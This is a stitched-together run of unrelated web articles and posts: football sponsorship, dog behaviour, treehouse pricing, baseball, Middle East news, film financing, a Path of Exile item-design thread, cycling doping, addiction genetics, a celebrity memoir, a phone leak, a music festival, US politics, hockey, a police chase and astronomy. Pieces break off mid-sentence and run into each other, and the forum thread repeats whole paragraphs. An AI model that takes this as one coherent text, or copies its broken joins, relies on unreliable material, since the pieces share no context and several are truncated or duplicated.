2012/13 Chelsea FC revenue profile. Deloitte Football Money League 2014 Chelsea believes the value of its brand has risen dramatically since the original deal was signed with Samsung in 2006, as since then the club has won the Premier League twice (in 2006 and 2010), the UEFA Champions League once (in 2012), the UEFA Europa League (in 2013), and the FA Cup four times (in 2007, 2009, 2010, and 2012), among other honors. The club is also looking to bring its sponsorship income more in-line with Premier League rivals like Manchester United, which this season kicked off an estimated $80 million per season shirt sponsorship deal with Chevrolet. Why Samsung Is Calling Time On Chelsea Samsung has been famed in recent years for its big-budget marketing splurges, but this year it has been forced to embark on a number of cost-cutting measures, including lowering its overall marketing budget compared with 2013. Profits in its second quarter fell to a two-year low as it was hit by a slowdown in smartphone sales and a stronger Korean currency. While a simple explanation for the decision to terminate the Chelsea contract would be to simply cut out excessive up-front costs, Business Insider also understands that Samsung's UK marketers have requested that the global team end the deal because it does not fit with the brand's current marketing strategy in the region. In the UK, Samsung embarked on a mission last year to become the country's "most loved brand"— not just in tech, but out of all the brands UK consumers come across. Linking with any one football club, which has many supporters but also many haters, does not fit this strategy. It's also worth bearing in mind that shirt sponsorship deals are usually signed for companies to raise awareness of their brands — and awareness is certainly not an issue that Samsung, the world's largest smartphone maker, currently needs to overcome. Turkish Airlines, however, still has an awareness job to fulfill, both in Europe (it is the fourth-biggest European airline) and beyond. The airline is already the kit sponsor for the Turkish club Galatasaray for its 2014-2015 UEFA Champions League and has previously signed deals to become the official carrier of clubs including Manchester United, Borussia Dortmund, Olympique de Marseille, and Aston Villa. It also has individual deals with footballers including Barcelona's Lionel Messi and Manchester United's Wayne Rooney. Business Insider has contacted Samsung, Chelsea FC, and Turkish Airlines with requests for comment. This article will be updated when those are received. Turkish Airlines' SVP of media relations Dr Ali Gec has also responded: "Please kindly be informed that a meeting between the authorities of Turkish Airlines and Chelsea has been held in Turkey, for the introduction of both companies in the framework of good offices. "Both parties have negotiated on that issue and are still continuing their contact. "It is well clear that Turkish Airlines is one of the best airlines of Europe, whilst Chelsea is one of the best football teams; so such an agreement will surely reflect credit to the brand values of both companies." Samsung has also responded: Samsung is not commenting on its current contractual position with Chelsea FC, or any potential sponsors of Chelsea FC. Samsung's partnership with Chelsea FC is ongoing. Samsung has not decided regarding any extension of sponsorship.The next time you want to show your dog some love, you might want to keep your distance. Your dog doesn’t want your hugs, according to Stanley Coren, a professor at the University of British Columbia in an article in Psychology Today. Coren, who focuses in dog behavior, wrote that dogs dislike being held by humans in part because they are meant to be running animals, able to escape when being threatened. Holding a dog back, he added, “can increase his stress level and, if the dog's anxiety becomes significantly intense, he may bite.” You can tell if your hug is making a dog anxious by noticing whether it is closing its eyes or averting them, flattening its ears, yawning, or licking its lips. Coren downloaded a random sample of 250 pictures of humans hugging dogs, and found more than 80 percent of the photos showed dogs with at least one sign that they were stressed or anxious. Sign Up and Save Get six months of free digital access to The Sacramento Bee “The results indicated that the Internet contains many pictures of happy people hugging what appear to be unhappy dogs,” he wrote. Instead, Coren suggested, pat your dog or give it a treat. If you love your dog, let them go.Tree House Portfolio Welcome to Our Gallery of Tree Houses Our portfolio has 4 types of treehouse projects. Click on the images to see examples of each type of treehouse we build. Basic Treehouses Our high quality take on the classic all-American backyard treehouse. These projects generally cost $8,000 – $30,000 in our area (Chester County, Pennsylvania). Advanced Treehouses High end residential treehouses have more complex designs, use premium materials, are more finished looking inside & out, and may have multiple platforms and levels. Typical construction cost ranges from $30,000 – $90,000. Rental Retreat Style Treehouses For luxury accommodations or tiny home living, these treehouses are larger, have bathrooms and kitchens, and are often booked solid 6-9 months in advance. Each unit typically costs $60,000 – $160,000 with economies of scale for multiple projects commissioned at one time.JUPITER, Fla. — There was no hesitation from Yadier Molina. The St. Louis Cardinals catcher stepped up and made the play. Molina executed the maneuver that got him injured, a sweeping tag at the plate, saving a run in his spring training debut. IMAGES FROM JUPITER Florida fun st louis cardinals spring training 2016 "I was ready, I wasn’t thinking about anything," Molina said after playing three innings against the Miami Marlins on Wednesday. "I just tried to get the guy and everything went right." Molina wore a splint to protect his surgically repaired thumb and played three innings, but did not bat after being listed ninth in the lineup. He was on deck when Jedd Gyorko was caught stealing to end the second but said he’d have gone to the plate with orders to just keep taking. "Today was a good test and yeah, I feel good," Molina said. "But we have to wait for tomorrow and see how I wake up and keep progressing." The seven-time All-Star and eight-time Gold Glove winner is coming off two thumb operations. Molina injured his left thumb making a sweeping tag on the Chicago Cubs’ Anthony Rizzo on Sept. 20. He underwent operations in October and mid-December. "Yadi did that play perfectly, and the slide wasn’t a dirty slide," Matheny said. "He just got himself in a compromising position." Tagging out Justin Bour attempting to score on a hit in the second was a similar situation. Molina made a quick tag and avoided contact with the 6-foot-5, 250-pound Bour. "Great defense, and it was fun to watch a guy get thrown out at home," Cardinals starter Mike Leake said. "At least for as big of a guy as he is, it was kind of a gingerly slide." Both manager Mike Matheny and Molina said this was the target date given by medical staff for the 33-year-old to play for the first time. "If he’s tentative, we wouldn’t have him out there," Matheny said. "He needs to just do what he does and not really be concerned." "I wasn’t surprised," Molina said. "I was working hard to get back on the field." Matheny said Molina has looked good swinging off a tee and with soft toss and might bat during a game in a week. Matheny said Molina’s hand strength was close to its pre-injury level. "I know he’s just anxious," Matheny said. "You kind of have to have that carrot out there for all of these guys to give them just a little bit more, and he’s done all he needs to." St. Louis acquired free-agent catcher Brayan Pena in the offseason. He is expected to play more than the previous backup, Tony Cruz. Molina hit.270 with four homers and 61 RBIs last year. Pena played in 108 games for the Reds and batted.273 with 18 RBIs. Matheny said wear and tear caused Molina to get hurt. "That injury is due to thousands of innings caught," said Matheny, a former Gold Glove catcher. "You take guys who’ve caught for a long time, it’s volatile." HOLLIDAY FIELDS HIS POSITION AT FIRST Matt Holliday played first base for the second time this spring training and made a nice stretch to complete a double play. The first experience on Monday was uneventful. "We’ve done everything you could possibly do in our workouts," Matheny said. "It’s the next level, just watching how he responds, watching what doesn’t feel comfortable and what we need to work on some more." St. Louis has several first-base candidates in camp, including Brandon Moss, Matt Adams and Stephen Piscotty. Holliday has played only left field throughout his big-league career. "It’s been a conversation for a long time," Matheny said. "The answer is the same. Just wait and see."Dear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World. The US and Israel will hold a large-scale joint military exercise in six months, Time magazine reported on Wednesday. Israeli officials declined to comment on or confirm the report. Time The drill, scheduled for May – which coincides with the deadline for talks between Iran and the international community – will come after a period in which Israel will seek to enhance further the military threat against Iran, the report said, citing an unnamed Israeli officer.“Israel will likely continue to dissent, while making conspicuous efforts to rehabilitate the military threat that did so much to bring Tehran’s project onto the agenda,” the source was quoted as saying.“The strategic decision is to continue to make noise,” he added.The exercise will be part of a message sent by Israel, to both a domestic audience and to Iran, showing that the IDF is maintaining its ability to attack the Iranian nuclear program, the report continued.But the US European Command toldthe exercise was planned ahead of time and was independent of any current developments. A spokesman for EUCOM added that a decision has not yet been made on the scale of the joint exercise.Meanwhile, Iran has invited UN inspectors to visit its Arak heavy-water production plant on December 8, the first concrete step under a cooperation agreement to clarify concerns about Tehran’s disputed nuclear program.Yukiya Amano, director-general of the International Atomic Energy Agency, also said the IAEA was looking into how Sunday’s agreement between Iran and six world powers to curb Tehran’s nuclear activity could be “put into practice” concerning the UN agency’s role in verifying the deal.The IAEA will expand its monitoring of Iran’s uranium enrichment sites and other facilities under the interim accord, reached after marathon talks between Iran and the United States, France, Germany, Britain, Russia and China.“This will include the implications for funding and staffing,” Amano told the IAEA’s 35-nation governing board, according to a copy of his speech. “This analysis will take some time. I will consult the board as soon as possible when it has been completed.”The IAEA’s visit next month to the heavy-water production plant near the town of Arak is part of a separate agreement signed earlier this month between the Vienna-based UN agency and Iran.The IAEA has not been at the site for about two years, despite repeated requests, but Iran agreed on November 11 to grant access to this facility, as well as to a uranium mine, within three months.The Arak facility produces heavy water intended for use in a nearby research reactor that is under construction. The West is concerned that the reactor, which Iran has said could start up next year, could yield plutonium for bombs once it is operational. Iran says it will produce medical isotopes.Iran has agreed to halt installation work at the reactor and to stop making fuel for it. Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>>Marking the first slate financing arrangement to close since the financial meltdown of 2008, 20th Century Fox has made a deal for just north of $400 million to help fund nearly all its films over the next five years, including the next two “Avatar” pics, multiple sources have confirmed to Variety. Financial guru Chip Seelig brought the coin to Fox, and it’s not the first time he’s raised a sizeable amount of money for the studio, either: The pair have a relationship dating back to 2005, when Seelig arranged a $400 million slate deal as a then-partner of financial firm Dune Capital Management. Seelig left Dune about 18 months ago to start new funding ventures. The latest deal effectively replaces the longstanding Dune structure, which has been renewed a number of times since its flagship run. Although Dune will continue to earn money from Fox films it’s helped pay for (And can re-invest that money into future studio pics), the Gotham-based firm has elected not to renew its co-financing pact, according to topper Steven Mnuchin. Dune is also in the middle of a refinancing that could put more money into Fox pics, as Variety reported in August. At that time, both sides appeared to be close to yet another extension of their relationship. New deal also marks Fox’s first major financing under the sole chairmanship of Jim Gianopulos, who took over running the studio after co-topper Tom Rothman left his post at the end of last year. The duo ran the studio at the time of its
Chaos Golems are made of what appears to be Amethyst. Additionally Amethyst rings are a thing.However, since the scope of modifiers changed so much throughout the design process I decided the artwork needed more of an icy look. Very chipped and rough. Additionally I requested purple hues be used as a homage to the Chaos mods of Cospri's Will. The final major thing I wanted was a Cross-Guard that looked similar to ivory (elephant horns). Why I'm not entirely sure, but I liked the idea and it stuck with me, so yeah.The final artwork ended up as below: Flavour Text Spoiler Flavour text is an important part of every unique item. It sets the tone for an item and often tells an important story. I knew with Cospri's Malice I wanted to really go above and beyond what I'd done for Cospri's Will in this aspect. Funnily I ended up starting with some flavour text I intended to use on Cospri's Will. " The Chill across your skin. Let fear take hold, And death wash over you. I am the howl in the wind,The Chill across your skin.Let fear take hold,And death wash over you. While that accurately captured the the cold-blooded side I so desperately wanted to depict I just wasn't happy with it. It just didn't feel right. So back to the drawing board I went. Flavor text is something I've taken very seriously - online thesaurus became my best friend and worst enemy while trying to come up with something I was happy with. Literal hours were wasted trying to find different words to say the same thing just so the flavour text didn't come off and being too generic or corny. Eventually I came up with the following: " Let the frigid air engulf your soul. Embrace the eternal cold, And it will embrace you back. Breathe deep, my child.Let the frigid air engulf your soul.Embrace the eternal cold,And it will embrace you back. Flavour text is an important part of every unique item. It sets the tone for an item and often tells an important story. I knew with Cospri's Malice I wanted to really go above and beyond what I'd done for Cospri's Will in this aspect. Funnily I ended up starting with some flavour text I intended to use on Cospri's Will.While that accurately captured the the cold-blooded side I so desperately wanted to depict I just wasn't happy with it. It just didn't feel right. So back to the drawing board I went. Flavor text is something I've taken very seriously - online thesaurus became my best friend and worst enemy while trying to come up with something I was happy with. Literal hours were wasted trying to find different words to say the same thing just so the flavour text didn't come off and being too generic or corny.Eventually I came up with the following: TL;DR - V3 - The Finalized Version Spoiler Please note the 'Cast a Socketed Cold Skill on Melee Critical Strike' was a typo/error and has since been corrected to 'Cast a Socketed Cold Spell on Melee Critical Strike'. This image contains randomized values for the following mods: Adds X to Y Cold Damage to Attacks Adds X to Y Cold Damage to Spells X-Y% Increased Attack Speed As far as I know the value ranges for these mods are as follows: Adds (80 to 100) to (160 to 200) Cold Damage to Attacks Adds (40 to 60) to (90 to 110) Cold Damage to Spells 8-14% Increased Attack Speed Additionally the cool-down for triggered skills is 100ms and the order of socketed gems affects the order in which they are triggered. What this means is if you socket multiple Cold Spells they will cycle between being triggered start the top of the bottom working down. This image contains randomized values for the following mods:As far as I know the value ranges for these mods are as follows:Additionally the cool-down for triggered skills is 100ms and the order of socketed gems affects the order in which they are triggered. What this means is if you socket multiple Cold Spells they will cycle between being triggered start the top of the bottom working down. F.A.Q. - I'll get around to updating this later Spoiler Q. Who is Cospri? A. Eventually I'll get around to writing lore I feel to be appropriate on this matter. I should stress Cospri is not an official character created by GGG, however if and when I get around to writing the lore I will do my very best to take every pre-existing piece of lore into consideration. When I'm happy with it I will present it to GGG and if they're interested they can adopt it in whatever fashion they find appropriate if at all. Q. Can I make a Cospri unique too? A. At this time no. Cospri's is a character of my creation and unless GGG was to adopt him at a later date this could cause some very serious issues regarding appropriate mods and theming at a later date. Q. Can I create a Divination card for a Cospri unique? Specifically Cospri's Malice or Cospri's Will or one that will award one of the two? A. If someone is interested in creating a Divination card for a Cospri item you are free to do so (updated as of May 17th, 2017). Q. Any specific drop restrictions? A. To the best of my knowledge, no. I didn't discuss any specific drop restrictions with GGG however I know Cospri's Will requires an item level of 68 to drop so hopefully that will also be the case here. I also cannot speak to it's rarity as that information isn't discussed with players anymore. Q. Can I trigger Cospri's Malice with an attack from a different weapon? A. No, the trigger mechanic for Cospri's Malice is local just like Mjolners. This means any attacks with another weapon cannot trigger it under any circumstances. Q. Is the 60% Increased Critical Strike Chance Against Chilled Enemies a global modifier or local? A. It is a global modifier. Q. How does Cospri's Malice interact with skills such as Molten Strike, Lightning Strike, Frost Blades, Wild Strike, and Spectral Throw? A. Okay, first off Spectral Throw. Since Spectral Throw isn't tagged as a Melee gem it cannot trigger Cospri's Malice at all. As for Molten Strike, Lightning Strike, Frost Blades, and Wild Strike each skill has a Melee hit component that can trigger Cospri's Malice. However, all of the projectiles created by these skills are not classified as Melee and therefore cannot trigger Cospri's Malice. Q. How does Lacerate interact with Cospri's Malice when Dual-Wielding? A. Assuming you land a Critical Strike you will trigger a spell from both your Main Hand and Off Hand. However, for both to trigger you'll need to hit an enemy with each swing. Q. What is the internal cooldown of Cospri's Malice? A. Originally (patch 2.4) the cooldown was 100ms, however in patch 2.5 this was changed to 250ms. Used in the following Build(s) of the Week(s) Spoiler Season 6 - Episode 7: Season 6 - Episode 7: Maddognils' the Freezerator Let the testing begin! This is for my own personal reference: I started writing this thread at 10:38pm and finished at 5:32am. From 5:32am until 6:21am was spent "proof-reading" and fixing grammar/spelling errors. Nearly eight hours were spent on this thread, three more than Cospri's Will.Hello everyone, alongside the Atlas of Worlds update (patch 2.4.0) I'm happy to announcewill be added to the core game. It is not exclusive to the Essence League, I just want to address this now as their was some confusion regardingand Prophecy League since both used the word 'Council', but they were not related.In this thread I am going to over the considerations I made during the design process; skill choices, base item, passives, auras, uniques, and in general what items would synergize as a whole. Additionally how and if the end result should favour a particular section of the skill tree, life, or energy shield base based builds. When I going over these designs choices it's extremely likely I'll ramble on a bit so feel free to skip ahead if and when I get off topic.Additionally do not expect my grammar/spelling to be perfect. I'm attempting to write this thread before 12am hence the starting/ending times at the very top for my own personal reference. Just under two and a half hours sounds like a lot of time until you start going through months and emails and attempting to fully explain each and every choice you made and some that were never discussed with GGG during the design process.Finally before we get started --- I will try to section off specific topics so you can skip ahead and I will include a clearly markednear the bottom so you can skip ahead and just see the mods without having to read this wall of text. It's also worth noting I may have managed to delete about the first months of emails/sent received, so once again I'll have to summarize a fair bit like I did with Cospri's Will.Let the testing begin! Designing Cospri's Will: https://www.pathofexile.com/forum/view-thread/1665314 Designing Cospri's Malice: https://www.pathofexile.com/forum/view-thread/1717008 Iron Heart & Iron Fortress too! Last edited by LostArtz on May 17, 2017, 9:03:06 AM Last bumped on Mar 13, 2017, 9:03:03 PMThe Court of Arbitration for Sport (CAS) upheld the appeal filed by the German Anti-doping Agency on Monday, and as a result, Patrik Sinkewitz is banned for competition for eight years. Related Articles Sinkewitz returns adverse analytical finding for Human Growth Hormone Sinkewitz B-sample confirms growth hormone Sinkewitz challenges human growth hormone positives Sinkewitz to sue UCI over doping suspension Sinkewitz HGH doping case still pending, 11 months later Sinkewitz cleared of HGH doping charges The German Anti-doping Agency had filed an appeal at the CAS to challenge the decision rendered on June 19 by the German Arbitration Tribunal for sports-related disputes, which had acquitted Sinkewitz of any anti-doping rule violation. Sinkewitz underwent a doping control on February 27, 2011 at the end of the Grand Prix of Lugano in Switzerland. The analyses of the A and the B samples revealed the presence of recombinant growth hormone (recGH). In its appeal, the German Anti-doping Agency requested that a period of ineligibility of no less than eight years be imposed on the athlete, considering that he already served a one-year suspension in 2007 for an anti-doping rule violation. Sinkewitz had disputed the reliability of the hgH test and claimed that several departures from the International Standards for Laboratories (ISL) had occurred during the process. The CAS Panel making the decision - including Prof. Christoph Vedder, President (Germany), Dr. Dirk-Reiner Martens, Germany, and Prof. Dr. Martin Schimke, (Germany) - found that the German Anti-doping Agency had clearly established that the athlete's blood samples revealed the presence of recGH. On that basis, the panel decided that Sinkewitz had in fact committed a violation. One year, three months and four days - already served as a voluntary suspension - have been applied to the eight-year total suspension. In addition to the suspension, Sinkewitz was ordered to pay a fine of 38,500 euros. Sinkewitz's decision came after CAS had ruled in favor of Estonian cross country skier Andrus Veerpalu one year ago. The skier had also been suspected of a violation with recGH. However, the CAS panel noted that in the case of Sinkewitz, there was no borderline situation which might trigger the benefit of uncertainty like in the Veerpalu case. "The CAS Panel is of the view that the findings in both the Veerpalu decision and of the German Anti-Doping Agency decision do not undermine the reliability of the so-called 'decision limits' as such and do not prevent the panel from taking into consideration the ratios found in the athlete's samples as means of evidence," read a statement on the CAS website. "The CAS Panel does not have to scientifically evaluate the process of the determination of the decision limits and can restrict itself to evaluating the persuasive weight of the expert testimonies before it. The CAS Panel in Veerpalu's case essentially based its conclusion on technical issues such as late or incomplete provision of information and data by the FIS." Sinkewitz is currently racing for the UCI Continental Meridiana Kamen Team and placed 2nd to Jose Serpa at the Trofeo Laigueglia this past Friday.A woman holds a cross at the New Life Covenant Assemblies of God Church's Dream Center in Chicago, an outreach ministry for women who want to quit alcoholism, drug addiction or prostitution, July 17, 2007. Scientists have identified about 400 genes that appear to make some people more easily addicted to drugs, opening the way for more effective therapies and addiction control. REUTERS/John Gress HONG KONG (Reuters) - Scientists in China have identified about 400 genes that appear to make some people more easily addicted to drugs, opening the way for more effective therapies and addiction control. Experts believe genetic factors account for up to 60 percent of a person’s vulnerability to drug addiction, with environmental factors accounting for the remainder. The researchers focused on four addictive substances — cocaine, opiate, alcohol and nicotine — and mapped out five main routes, or “molecular pathways”, that lead to addiction, they wrote in the journal PLoS Computational Biology. Figuring out pathways are important in the study of complex diseases as they narrow down the genes and proteins involved. In diseases such as cancer, pathways help doctors make more accurate diagnoses and predictions of the course of the disease. For drug addiction, the researchers said: “These common pathways may underlie shared rewarding and response mechanisms and may be targets for effective treatments for a wide range of addictive disorders.” The researchers trawled through more than 1,000 peer-reviewed medical publications that linked genes and chromosome regions to drug addiction over the past 30 years and assembled a list of 1,500 addiction-related genes. Some of these genes turned up more frequently than others in the pathways and scientists narrowed the list to 396.Jodie Sweetin—Stephanie on Full House—has released a memoir, Unsweetened, in which she talks about her acting career, her addiction problems, her two marriages, and her daughter, Zoie. She says herself in the introduction that there are “things that I’m too horrified to tell anyone,” but the book does seem more painfully honest and unairbrushed than most celebrity autobiographies. Here are the high—or rather, the low—points: Mary Kate and Ashley Olsen were not very nice to her on the Full House set. Once, when Sweetin was coping with the embarrassment of a tooth coming in crooked, one of the twins turned to her and said, “Why do you have a tooth growing out of there?” She had her first drink at 14 and was smoking pot at 15. When the cops stopped her and a carload of friends for toilet-papering someone’s house, a very drunk Sweetin “literally fell out of the car and started puking everywhere.” By college she’d moved on to Ecstasy, and then cocaine; by the time she married at 20, she began to experiment with meth. When she attended the LA premiere of New York Minute, a Mary Kate and Ashley film, in May 2004, she writes, “I knew I couldn’t last a New York minute without doing more meth. I had it in my purse, with a straw, in a little baggie inside a lip-gloss container. Often I would do meth quickly in public bathrooms, blowing the smoke into wet paper towels so you couldn’t see it. At the premiere, though, I just snorted it because I knew I couldn’t bring a whole pipe.” After a stint in rehab, she began working at the facility as an assistant — but relapsed almost immediately. “One of my jobs was to help move clients into the facility. On one such occasion, I was asked to move a college girl out of her dorm… My job was to help her pack up her stuff and drive her to Passages. As we were putting her clothes, books and shower shoes into a box we stumbled across a bag of meth that she had forgotten…I knew I was supposed to be the responsible person. I was supposed to pack her bags and bring her to rehab. Instead, we opted to get high.” A short drug-and-alcohol infused romance led to her second marriage. Shocked to find herself pregnant, she became clean immediately, but began drinking again shortly after her daughter Zoie was born. When she and her husband decided to divorce, he filed for full custody. The judge ordered her supervised until he could make a decision. As of the book’s completion, she had been sober 114 days. What do you think — is this a book you’ll read?Micromax HS3 has a 5.1-inch display that has full HD (1440x720 pixels) resolution with an aspect ratio of 18:9 similar Advertisement Micromax seems to be working on a smartphone similar to the Micromax Canvas Infinity featuring a similar full-screen display as an unannounced Micromax HS3 smartphone has been spotted on the GFXBencmarking website via MobileXpose. Micromax Canvas Infinity with 18:9 aspect ratio was launched at Rs 9,999 in August. As per the listing on GFXBench, Micromax HS3 has a 5.1-inch display that has 1440x720 pixels resolution with an aspect ratio of 18:9 similar which is same as seen on the Micromax Canvas Infinity and 5 finger gesture support. Besides as per the listing, it has Qualcomm Snapdragon 430 or the Snapdragon 435 1.4GHz octa-core processor with Adreno 505 GPU. The smartphone has 4GB RAM and 32 internal storage out of which 23GB is reserved for users. The Micromax HS3 runs on Android 7.1.2 Nougat operating system. In the listing, there is no information about its battery or expandable memory. Further, the Micromax HS3 is listed with 16-megapixel autofocus camera and a LED flash in its rear panel. There is a 20-megapixel camera in its front for selfies. The GFX listing shows that the device has connectivity features like Bluetooth, GPS, NFC and WiFi. As per the listing, the device has an accelerometer, gyroscope, light sensor and proximity sensor as well. There is no information about the pricing and availability of the device as yet, however, given the fact that it has been spotted GFX, it will not be much long before we see some new leaks revealing the pricing as well. So we request you to stay updated on our website for the same. To recollect some key specifications, Micromax Canvas Infinity features a metal frame with a removable back and comes loaded with a 5.7-inch HD IPS display. Unlike other HD screen resolutions, this one comes with 1440 x 720 pixels and boasts an aspect ratio of 18:9. The device is powered by an older Qualcomm Snapdragon 425 processor along with 3GB of RAM and 32GB of internal storage. The storage is further expanded up to 128GB via microSD card slot. The device also comes with a rear-mounted fingerprint sensor. The major highlight of the device is that it sports an aspect ratio of 18:9. Interestingly, Micromax becomes the first Indian smartphone manufacturer to adopt the new aspect ratio. On the software side, it runs on Android 7.1.1 Nougat with company’s UI running on top of it. Micromax has also added some nifty features like Smart Action through which users can wake and lock screen by double tap, flip to mute or snooze alarm, call a contact by placing the phone close to ear and more. The company has also promised to update to Android O also. On the camera front, the device sports a 13-megapixel rear camera with aperture f/2.0, 1.12-micron pixel size, an 81.5-degree field of view, 5P lens and LED flash. For the front, there is a 16-megapixel shooter for selfies and video calling. On the battery front, the Micromax Canvas Infinity packs a 2900mAh backup. On the connectivity front, it offers 4G VoLTE, WiFi 802.11 b/g/n, Bluetooth, GPS, AGPS, dual-SIM, and micro USB port. As for the sensors are concerned, it comes with gravity, proximity, light, accelerometer and magnetic sensors. AdvertisementA recap of the first day of the Sasquatch Music Festival. QUINCY – Pleasantly mild weather and blue skies with puffs of white clouds greeted a somewhat light crowd of happy campers and fans at the Sasquatch! Festival Saturday (May 28). In the afternoon, they were served up a round of mostly Seattle-based bands that spoke volumes about why this celebration’s Northwest flavor and vibe continues to attract not only locals but visitors from around the world. “There’s nothing like this anywhere,” declared Aaron Krass, who flew up from Los Angeles with his fiancé and another couple to attend the festival for the second time. “Coachella? Completely different vibe. And then there’s the setting!” Yes, there’s that brown and blue horizon over the Columbia Gorge, for sure. But what’s really different about the Sasquatch “vibe” is the laid-back, easy-going, earnest crowd, which despite its animal headdresses and floppy, dressed-down, styles, takes its music very seriously. To wit: At the modest Yeti stage, when up-and-coming Seattle surf pop band Tangerine’s lead singer Marika Justad revved things up with “Feel This Way,” a guy wearing a necklace of gigantic, gold-colored links sang along. Who knew there were fans who already knew the words to Tangerine’s jangling ear candy? That the crowd sang along later with another surf-based band, La Luz, was no surprise. Lead singer/guitarist Shana Cleveland and her sisters left Seattle recently for Los Angeles – “it’s great to be back in the Northwest,” she said – and the move seems to have brought the band a more decisive sense of mission. Its twangy, slinky downtempo demand to an errant boyfriend to “Call Me in the Day” never sounded so convincing. Seattle’s Hibou, which also trades in jangling guitar – though with the sheen of dream pop rather than jangle of surf – also shone brightly Saturday on the Bigfoot stage, with twinkling guitar lines weaving through lead singer/guitarist Peter Michel’s nasal croon on its popular “Above Us.” Also on the bill Saturday at Bigfoot was Seattle singer-songwriter Noah Gundersen, who sang powerfully on “Caroline” but tended toward sludgy instrumental melodrama on “Ledges” and his other dark songs. Back at the Yeti stage, Seattle emcee Ryan Caraveo brought some old school swagger and ambition to his rap, and our fair city’s horn-driven soul band The Dip goosed the crowd into a dancing groove. As afternoon passed into early evening, the air cooled off and the clouds turned a little darker – but with no threat of rain. Nathaniel Rateliff and the Night Sweats amped up the energy with its gospel-infused, Southern rock. As Rateliff stabbed the air with a bouncing staccato, singing “Don’t you, don’t you worry,” you had the feeling the crowd was happily agreeing take his advice. They had nothing to worry about and much to look forward to after the sun set over the hills, including Digable Planets, Major Lazer and M83.Trump isn’t ready to release them, or even to confirm whether they exist. He said at a Friday press conference that he would tell reporters about it “in a very short period of time.” On Sunday, a member of his legal team, Jay Sekulow, narrowed that window down to “next week.” And on Monday, the White House offered no further clarity on the question. Trump “will have an announcement shortly,” is all that Sean Spicer, the press secretary, would say on the topic. Any recordings or transcripts of the Trump-Comey talks could clear up which man is telling the truth—the lawman who testified under oath that the president asked for his loyalty and voiced “hope” that he would let go of the FBI’s criminal investigation of Michael Flynn, or the president who claimed that he didn’t. Trump has indicated that he, too, is willing to testify under oath about his side of the story, but it’s not clear when, or whether, Republicans on Capitol Hill or the special counsel, Robert Mueller, will take him up on the offer. The problem for the president is that reporters are no longer the only people seeking the tapes. The Republican and Democratic leaders of the House Intelligence Committee has given the White House counsel, Don McGahn, until June 23 to tell them whether there are any “recordings or memoranda” of the president’s conversations with Comey and to produce them if they exist. And both Senators Susan Collins of Maine, a Republican, and Dianne Feinstein of California, a Democrat, on Sunday issued their own calls for the president to dispense with the vague hints and hand over what, if anything, he had. It isn’t known whether the special counsel, Robert Mueller, has made a similar request of the White House, but if he is investigating whether Trump committed obstruction of justice, he’d surely want them, too. Knowing Trump, the case for there not being tapes greatly outweighs the case for their existence. This is a man who repeatedly claimed to have evidence that his predecessor had falsified his birth certificate, but never offered any. And during his campaign and since he’s taken office, Trump has promised plans and timelines that have never materialized. When it comes to tapes, even the president seems to be preaching skepticism. As he told reporters on Friday, “You’re going to be very disappointed when you hear the answer.” We want to hear what you think about this article. Submit a letter to the editor or write to letters@theatlantic.com.The Flyers will welcome the Blackhawks in their first home game at the Wells Fargo Center since Dec. 17. Chicago comes to town tied for the league's points lead, thanks to four scorers (Marian Hossa, Jonathan Toews, Patrick Sharp and Patrick Kane) among the Top 25 in the NHL. They will be without former Flyer Dan Carcillo, who was suspended indefinitely by the league yesterday pending today's hearing with Brendan Shanahan for a hit on the Oilers' Tom Gilbert on Monday night. Carcillo also hurt himself on the play, in which he dangerously sent Gilbert flying into the boards from nearly the goal line on an icing chase, and is awaiting news both from an MRI and Shanahan. The Blackhawks have lost two of their last three games but are 7-3-0 in their last 10.NASHUA, N.H (WHDH) - A man was taken into custody Wednesday afternoon after allegedly leading police on a high-speed chase that ended in Nashua, New Hampshire. The chase started in Holden, Massachusetts when police tried to pull over 50-year-old Richard Simone. Police said Simone had several outstanding warrants for larceny, assault and battery with a dangerous weapon and failure to stop. Simone took off in a gray pickup truck and police said he led them on an hour-long chase that ended in Nashua, New Hampshire. State Police from Massachusetts and New Hampshire said they tried to get Simone to stop or pull over but he kept driving. At one point, he lost the two back tires off his truck. After the chase, Simone opened his door, got on his knees with his hands up and then got on the ground, appearing to surrender. Officers could then be seen swarming Simone and throwing punches while he was on the ground. “It was very shocking, to say the least,” said Simone’s sister. “Disturbing to see that and to see when someone willing gets out of the vehicle, goes to their knees, flat out on their stomach, their hands out, very shocking.” Watch the dramatic end to the chase here. Statement from Massachusetts State Police:This article is from the archive of our partner. Now that there's nothing left to be secretive about, Super Committee Democrats and Republicans are sharing details about the deficit-reduction panel's fabulous collapse with members of the press. In short: the committee's failure to come up with $1.2 trillion in deficit savings was not for lack of food, beer, changes of scenery or sideshow entertainment. In a behind-the-scenes account, Politico's Jake Sherman, Manu Raju and John Bresnahan show how Republicans had checked out from negotiations, acknowledging that the two sides were not going to come to an agreement on taxing and spending. "On Thursday night, wearing a baseball cap and jeans, Camp retreated to Penn Quarter Sports Tavern with Rep. Ander Crenshaw (R-Fla.), where they watched the New York Jets play the Denver Broncos on TV. His tax expertise wasn’t needed because no compromise was close," they report. "On Sunday, a day before the panel’s deadline, Rep. Fred Upton (R-Mich.) was at the Washington Redskins game. While at FedEx Field, Upton jumped on a conference call with supercommittee colleagues who had left D.C. for the Thanksgiving holiday." Republicans weren't the only ones enjoying the pro-football season as the committee's deadline drew nearer. As talks began to sour earlier this month, "[Sen. Patty] Murray's staff ate snacks and watched the New England Patriots play the New York Jets" while a new proposal from Republicans was being considered, report Reuters' Richard Cowan, Thomas Ferraro, Tim Reid and Donna Smith.Scientists have created the first map of a colossal supercluster of galaxies known as Laniakea, the home of Earth's Milky Way galaxy and many other. This computer simulation, a still from a Nature journal video, depicts the giant supercluster, with the Milky Way's location shown as a red dot. In space, we're used to dealing with large distances and objects. In the cosmic scheme of things, Earth is small. Even in our solar system, we are easily dwarfed by the planet Jupiter (more than 1,000 Earths would fit in the planet, according to NASA) and our sun (more than a million Earths would fit in there, according to Cornell University). Even our sun looks puny when it is compared to the biggest stars we know of. The sun is a G-type star, a yellow dwarf — pretty average sized on the cosmic scale. But some "hypergiant" stars are much, much larger. Perhaps the biggest star known is UY Scuti, which could fit more than 1,700 of our suns. (Note that the margin of error is roughly 192 sun-widths, so at the lower end of the margin UY Scuti would move several ranks down the list of the biggest stars.) UY Scuti is only about 30 times more massive than our 